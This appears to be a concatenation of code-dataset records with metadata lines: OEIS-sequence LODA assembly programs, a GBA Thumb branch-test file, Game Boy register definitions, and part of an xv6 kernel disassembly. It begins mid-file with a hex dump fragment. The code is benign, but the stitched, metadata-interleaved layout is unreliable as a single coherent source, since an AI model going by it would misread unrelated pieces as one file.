00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.78972
2,999
0.658049
48db5da751a861c25094bbf6127e291952fc3cb7
627
asm
Assembly
programs/oeis/185/A185679.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/185/A185679.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/185/A185679.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A185679: Number of digits in decimal expansion of n^2. ; 1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5 pow $0,2 mov $2,$0 cmp $2,0 add $0,$2 log $0,10 mov $1,$0 add $1,1
57
501
0.524721
1d6208ea959aa6dd6993d9e6190d521270761568
366
asm
Assembly
programs/oeis/084/A084120.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/084/A084120.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/084/A084120.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A084120: a(n)=6a(n-1)-3a(n-2), a(0)=1,a(1)=3. ; 1,3,15,81,441,2403,13095,71361,388881,2119203,11548575,62933841,342957321,1868942403,10184782455,55501867521,302456857761,1648235544003,8982042690735,48947549512401,266739169002201,1453592365476003,7921336685849415 mov $1,1 mov $3,1 lpb $0 sub $0,1 mov $2,$3 add $2,$3 add $1,$2 add $2,$1 add $3,$2 lpe
26.142857
216
0.715847
ff6e84119509b03770acecfa1a3600ace5040439
2,009
asm
Assembly
thumb/branches.asm
michelhe/gba-suite
854c1fb3a02fc8d94d04041b2948826708d81011
[ "MIT" ]
null
null
null
thumb/branches.asm
michelhe/gba-suite
854c1fb3a02fc8d94d04041b2948826708d81011
[ "MIT" ]
null
null
null
thumb/branches.asm
michelhe/gba-suite
854c1fb3a02fc8d94d04041b2948826708d81011
[ "MIT" ]
null
null
null
branches: ; Tests for branches t150: ; THUMB 18: b label mov r7, 150 b t151 t152: mov r7, 152 b t153 t151: mov r7, 151 b t152 t153: ; THUMB 19: bl label mov r7, 153 bl t154 t155: mov r7, 155 mov pc, lr t154: mov r7, 154 bl t155 t156: ; THUMB 16: b<cond> label mov r7, 156 bne t157 t158: mov r7, 158 b t159 t157: mov r7, 157 bne t158 t159: mov r0, 0 beq t160 f159: failed 159 t160: mov r0, 1 bne t161 f160: failed 160 t161: mov r0, 0 cmp r0, r0 bcs t162 f161: failed 161 t162: mov r0, 0 cmn r0, r0 bcc t163 f162: failed 162 t163: mov r0, 0 mvn r0, r0 bmi t164 f163: failed 163 t164: mov r0, 0 bpl t165 f164: failed 164 t165: mov r0, 1 lsl r0, 31 sub r0, 1 bvs t166 f165: failed 165 t166: mov r0, 1 lsl r0, 31 sub r0, 1 cmp r0, r0 bvc t167 f166: failed 166 t167: ; THUMB 5: bx label mov r7, 167 adr r0, t168 bx r0 code32 align 4 t168: mov r7, 168 adr r0, t169 + 1 bx r0 code16 align 2 t169: mov r7, 169 adr r0, t170 add r0, 1 bx r0 t170: ; THUMB 5: Branch exchange alignment mov r7, 170 adr r0, t171 add r0, 2 bx r0 code32 align 4 t171: mov r7, 171 adr r0, branches_passed + 1 bx r0 code16 align 2 branches_passed: mov r7, 0
13.760274
44
0.390244
093e07a3b0848fbf2e4a36720e21c300f814378f
2,111
asm
Assembly
src/registers.asm
Gegel85/RemiFlap
00f5970ef388e1748d8f807fced9b0f60c9313c4
[ "MIT" ]
null
null
null
src/registers.asm
Gegel85/RemiFlap
00f5970ef388e1748d8f807fced9b0f60c9313c4
[ "MIT" ]
null
null
null
src/registers.asm
Gegel85/RemiFlap
00f5970ef388e1748d8f807fced9b0f60c9313c4
[ "MIT" ]
null
null
null
; MBC ROMBankSelect = $2000 ;VRAM VRAMStart = $8000 VRAMBgStart = $9800 VRAMWinStart = $9C00 ;Joypad joypad = $FF00 ;Serial transfer serialTrnData = $FF01 serialTrnCtrl = $FF02 ;Timer divReg = $FF04 timerCounter = $FF05 timerModulo = $FF06 timerCtrl = $FF07 ;Interrupt flag interruptFlag = $FF0F ;ALU NR10 = $FF10 NR11 = $FF11 NR12 = $FF12 NR13 = $FF13 NR14 = $FF14 NR21 = $FF16 NR22 = $FF17 NR23 = $FF18 NR24 = $FF19 NR30 = $FF1A NR31 = $FF1B NR32 = $FF1C NR33 = $FF1D NR34 = $FF1E NR41 = $FF20 NR42 = $FF21 NR43 = $FF22 NR44 = $FF23 NR50 = $FF24 NR51 = $FF25 NR52 = $FF26 WPRAMStart = $FF30 WPRAMSize = $10 chan1Sweep = NR10 chan1Len = NR11 chan1Volume = NR12 chan1FrequL = NR13 chan1FrequH = NR14 chan2Len = NR21 chan2Volume = NR22 chan2FrequL = NR23 chan2FrequH = NR24 chan3Enable = NR30 chan3Len = NR31 chan3Volume = NR32 chan3FrequL = NR33 chan3FrequH = NR34 chan4Len = NR41 chan4Colume = NR42 chan4PolyCnt = NR43 chan4Ctrl = NR44 channelCtrl = NR50 terminalSelect = NR51 soundEnable = NR52 ;LCD/GPU lcdCtrl = $FF40 lcdStats = $FF41 bgScrollY = $FF42 bgScrollX = $FF43 lcdLine = $FF44 lcdLineCmp = $FF45 dmaTrnCtrl = $FF46 dmgBgPalData = $FF47 dmgObj0PalData = $FF48 dmgObj1PalData = $FF49 winPosY = $FF4A winPosXMinus7 = $FF4B ;Speed switch (CGB only) speedSwitch = $FF4D ;VRAM Bank select (CGB only) VRAMBankSelect = $FF4F ;New DMA (CGB only) newDmaSrcH = $FF51 newDmaSrcL = $FF52 newDmaDestH = $FF53 newDmaDestL = $FF54 newDmaCtrl = $FF55 ;Infrared com (CGB only) infraredComPort= $FF56 ;Palettes (CGB only) cgbBgPalIndex = $FF68 cgbBgPalData = $FF69 cgbObjPalIndex = $FF6A cgbObjPalData = $FF6B ;RAM bank (CGB only) WRAMBankSelect = $FF70 ;Interrupt enable interruptEnable= $FFFF
18.681416
28
0.586452
68ff9d12a37b937121d1790d245ce6bf15d8c06e
561,363
asm
Assembly
kernel.asm
janinehuang/cs153_s20_lab2
b5cbf3c350ef7f5c14f432f6a9e5fec05f8b86b4
[ "MIT-0" ]
null
null
null
kernel.asm
janinehuang/cs153_s20_lab2
b5cbf3c350ef7f5c14f432f6a9e5fec05f8b86b4
[ "MIT-0" ]
null
null
null
kernel.asm
janinehuang/cs153_s20_lab2
b5cbf3c350ef7f5c14f432f6a9e5fec05f8b86b4
[ "MIT-0" ]
null
null
null
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 f0 2d 10 80 mov $0x80102df0,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx { 80100049: 83 ec 14 sub $0x14,%esp initlock(&bcache.lock, "bcache"); 8010004c: c7 44 24 04 e0 6b 10 movl $0x80106be0,0x4(%esp) 80100053: 80 80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010005b: e8 10 40 00 00 call 80104070 <initlock> bcache.head.next = &bcache.head; 80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx bcache.head.prev = &bcache.head; 80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 8010006c: fc 10 80 bcache.head.next = &bcache.head; 8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 80100076: fc 10 80 80100079: eb 09 jmp 80100084 <binit+0x44> 8010007b: 90 nop 8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 da mov %ebx,%edx for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100082: 89 c3 mov %eax,%ebx 80100084: 8d 43 0c lea 0xc(%ebx),%eax b->next = bcache.head.next; 80100087: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100091: 89 04 24 mov %eax,(%esp) 80100094: c7 44 24 04 e7 6b 10 movl $0x80106be7,0x4(%esp) 8010009b: 80 8010009c: e8 9f 3e 00 00 call 80103f40 <initsleeplock> bcache.head.next->prev = b; 801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax 801000a6: 89 58 50 mov %ebx,0x50(%eax) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax 801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax bcache.head.next = b; 801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000ba: 75 c4 jne 80100080 <binit+0x40> } } 801000bc: 83 c4 14 add $0x14,%esp 801000bf: 5b pop %ebx 801000c0: 5d pop %ebp 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 1c sub $0x1c,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi acquire(&bcache.lock); 801000dc: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) { 801000e3: 8b 7d 0c mov 0xc(%ebp),%edi acquire(&bcache.lock); 801000e6: e8 f5 40 00 00 call 801041e0 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f7: 75 12 jne 8010010b <bread+0x3b> 801000f9: eb 25 jmp 80100120 <bread+0x50> 801000fb: 90 nop 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 58 jmp 80100188 <bread+0xb8> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 4d je 80100188 <bread+0xb8> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100161: e8 ea 40 00 00 call 80104250 <release> acquiresleep(&b->lock); 80100166: 8d 43 0c lea 0xc(%ebx),%eax 80100169: 89 04 24 mov %eax,(%esp) 8010016c: e8 0f 3e 00 00 call 80103f80 <acquiresleep> struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100171: f6 03 02 testb $0x2,(%ebx) 80100174: 75 08 jne 8010017e <bread+0xae> iderw(b); 80100176: 89 1c 24 mov %ebx,(%esp) 80100179: e8 a2 1f 00 00 call 80102120 <iderw> } return b; } 8010017e: 83 c4 1c add $0x1c,%esp 80100181: 89 d8 mov %ebx,%eax 80100183: 5b pop %ebx 80100184: 5e pop %esi 80100185: 5f pop %edi 80100186: 5d pop %ebp 80100187: c3 ret panic("bget: no buffers"); 80100188: c7 04 24 ee 6b 10 80 movl $0x80106bee,(%esp) 8010018f: e8 cc 01 00 00 call 80100360 <panic> 80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801001a0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 14 sub $0x14,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 89 04 24 mov %eax,(%esp) 801001b0: e8 6b 3e 00 00 call 80104020 <holdingsleep> 801001b5: 85 c0 test %eax,%eax 801001b7: 74 10 je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001b9: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bc: 89 5d 08 mov %ebx,0x8(%ebp) } 801001bf: 83 c4 14 add $0x14,%esp 801001c2: 5b pop %ebx 801001c3: 5d pop %ebp iderw(b); 801001c4: e9 57 1f 00 00 jmp 80102120 <iderw> panic("bwrite"); 801001c9: c7 04 24 ff 6b 10 80 movl $0x80106bff,(%esp) 801001d0: e8 8b 01 00 00 call 80100360 <panic> 801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 83 ec 10 sub $0x10,%esp 801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 89 34 24 mov %esi,(%esp) 801001f1: e8 2a 3e 00 00 call 80104020 <holdingsleep> 801001f6: 85 c0 test %eax,%eax 801001f8: 74 5b je 80100255 <brelse+0x75> panic("brelse"); releasesleep(&b->lock); 801001fa: 89 34 24 mov %esi,(%esp) 801001fd: e8 de 3d 00 00 call 80103fe0 <releasesleep> acquire(&bcache.lock); 80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100209: e8 d2 3f 00 00 call 801041e0 <acquire> b->refcnt--; if (b->refcnt == 0) { 8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx) 80100212: 75 2f jne 80100243 <brelse+0x63> // no one is waiting for it. b->next->prev = b->prev; 80100214: 8b 43 54 mov 0x54(%ebx),%eax 80100217: 8b 53 50 mov 0x50(%ebx),%edx 8010021a: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 8010021d: 8b 43 50 mov 0x50(%ebx),%eax 80100220: 8b 53 54 mov 0x54(%ebx),%edx 80100223: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100226: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 8010022b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->next = bcache.head.next; 80100232: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100235: a1 10 fd 10 80 mov 0x8010fd10,%eax 8010023a: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 8010023d: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 80100243: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 8010024a: 83 c4 10 add $0x10,%esp 8010024d: 5b pop %ebx 8010024e: 5e pop %esi 8010024f: 5d pop %ebp release(&bcache.lock); 80100250: e9 fb 3f 00 00 jmp 80104250 <release> panic("brelse"); 80100255: c7 04 24 06 6c 10 80 movl $0x80106c06,(%esp) 8010025c: e8 ff 00 00 00 call 80100360 <panic> 80100261: 66 90 xchg %ax,%ax 80100263: 66 90 xchg %ax,%ax 80100265: 66 90 xchg %ax,%ax 80100267: 66 90 xchg %ax,%ax 80100269: 66 90 xchg %ax,%ax 8010026b: 66 90 xchg %ax,%ax 8010026d: 66 90 xchg %ax,%ax 8010026f: 90 nop 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 1c sub $0x1c,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 89 3c 24 mov %edi,(%esp) 80100282: e8 09 15 00 00 call 80101790 <iunlock> target = n; acquire(&cons.lock); 80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028e: e8 4d 3f 00 00 call 801041e0 <acquire> while(n > 0){ 80100293: 8b 55 10 mov 0x10(%ebp),%edx 80100296: 85 d2 test %edx,%edx 80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea> 8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx 801002a1: eb 25 jmp 801002c8 <consoleread+0x58> 801002a3: 90 nop 801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.r == input.w){ if(myproc()->killed){ 801002a8: e8 f3 33 00 00 call 801036a0 <myproc> 801002ad: 8b 40 24 mov 0x24(%eax),%eax 801002b0: 85 c0 test %eax,%eax 801002b2: 75 74 jne 80100328 <consoleread+0xb8> release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp) 801002bb: 80 801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) 801002c3: e8 38 39 00 00 call 80103c00 <sleep> while(input.r == input.w){ 801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801002d3: 74 d3 je 801002a8 <consoleread+0x38> } c = input.buf[input.r++ % INPUT_BUF]; 801002d5: 8d 50 01 lea 0x1(%eax),%edx 801002d8: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 801002de: 89 c2 mov %eax,%edx 801002e0: 83 e2 7f and $0x7f,%edx 801002e3: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx 801002ea: 0f be d1 movsbl %cl,%edx if(c == C('D')){ // EOF 801002ed: 83 fa 04 cmp $0x4,%edx 801002f0: 74 57 je 80100349 <consoleread+0xd9> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 801002f2: 83 c6 01 add $0x1,%esi --n; 801002f5: 83 eb 01 sub $0x1,%ebx if(c == '\n') 801002f8: 83 fa 0a cmp $0xa,%edx *dst++ = c; 801002fb: 88 4e ff mov %cl,-0x1(%esi) if(c == '\n') 801002fe: 74 53 je 80100353 <consoleread+0xe3> while(n > 0){ 80100300: 85 db test %ebx,%ebx 80100302: 75 c4 jne 801002c8 <consoleread+0x58> 80100304: 8b 45 10 mov 0x10(%ebp),%eax break; } release(&cons.lock); 80100307: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010030e: 89 45 e4 mov %eax,-0x1c(%ebp) 80100311: e8 3a 3f 00 00 call 80104250 <release> ilock(ip); 80100316: 89 3c 24 mov %edi,(%esp) 80100319: e8 92 13 00 00 call 801016b0 <ilock> 8010031e: 8b 45 e4 mov -0x1c(%ebp),%eax return target - n; 80100321: eb 1e jmp 80100341 <consoleread+0xd1> 80100323: 90 nop 80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010032f: e8 1c 3f 00 00 call 80104250 <release> ilock(ip); 80100334: 89 3c 24 mov %edi,(%esp) 80100337: e8 74 13 00 00 call 801016b0 <ilock> return -1; 8010033c: b8 ff ff ff ff mov $0xffffffff,%eax } 80100341: 83 c4 1c add $0x1c,%esp 80100344: 5b pop %ebx 80100345: 5e pop %esi 80100346: 5f pop %edi 80100347: 5d pop %ebp 80100348: c3 ret if(n < target){ 80100349: 39 5d 10 cmp %ebx,0x10(%ebp) 8010034c: 76 05 jbe 80100353 <consoleread+0xe3> input.r--; 8010034e: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100353: 8b 45 10 mov 0x10(%ebp),%eax 80100356: 29 d8 sub %ebx,%eax 80100358: eb ad jmp 80100307 <consoleread+0x97> while(n > 0){ 8010035a: 31 c0 xor %eax,%eax 8010035c: eb a9 jmp 80100307 <consoleread+0x97> 8010035e: 66 90 xchg %ax,%ax 80100360 <panic>: { 80100360: 55 push %ebp 80100361: 89 e5 mov %esp,%ebp 80100363: 56 push %esi 80100364: 53 push %ebx 80100365: 83 ec 40 sub $0x40,%esp } static inline void cli(void) { asm volatile("cli"); 80100368: fa cli cons.locking = 0; 80100369: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 80100370: 00 00 00 getcallerpcs(&s, pcs); 80100373: 8d 5d d0 lea -0x30(%ebp),%ebx cprintf("lapicid %d: panic: ", lapicid()); 80100376: e8 e5 23 00 00 call 80102760 <lapicid> 8010037b: 8d 75 f8 lea -0x8(%ebp),%esi 8010037e: c7 04 24 0d 6c 10 80 movl $0x80106c0d,(%esp) 80100385: 89 44 24 04 mov %eax,0x4(%esp) 80100389: e8 c2 02 00 00 call 80100650 <cprintf> cprintf(s); 8010038e: 8b 45 08 mov 0x8(%ebp),%eax 80100391: 89 04 24 mov %eax,(%esp) 80100394: e8 b7 02 00 00 call 80100650 <cprintf> cprintf("\n"); 80100399: c7 04 24 57 75 10 80 movl $0x80107557,(%esp) 801003a0: e8 ab 02 00 00 call 80100650 <cprintf> getcallerpcs(&s, pcs); 801003a5: 8d 45 08 lea 0x8(%ebp),%eax 801003a8: 89 5c 24 04 mov %ebx,0x4(%esp) 801003ac: 89 04 24 mov %eax,(%esp) 801003af: e8 dc 3c 00 00 call 80104090 <getcallerpcs> 801003b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf(" %p", pcs[i]); 801003b8: 8b 03 mov (%ebx),%eax 801003ba: 83 c3 04 add $0x4,%ebx 801003bd: c7 04 24 21 6c 10 80 movl $0x80106c21,(%esp) 801003c4: 89 44 24 04 mov %eax,0x4(%esp) 801003c8: e8 83 02 00 00 call 80100650 <cprintf> for(i=0; i<10; i++) 801003cd: 39 f3 cmp %esi,%ebx 801003cf: 75 e7 jne 801003b8 <panic+0x58> panicked = 1; // freeze other CPU 801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 801003d8: 00 00 00 801003db: eb fe jmp 801003db <panic+0x7b> 801003dd: 8d 76 00 lea 0x0(%esi),%esi 801003e0 <consputc>: 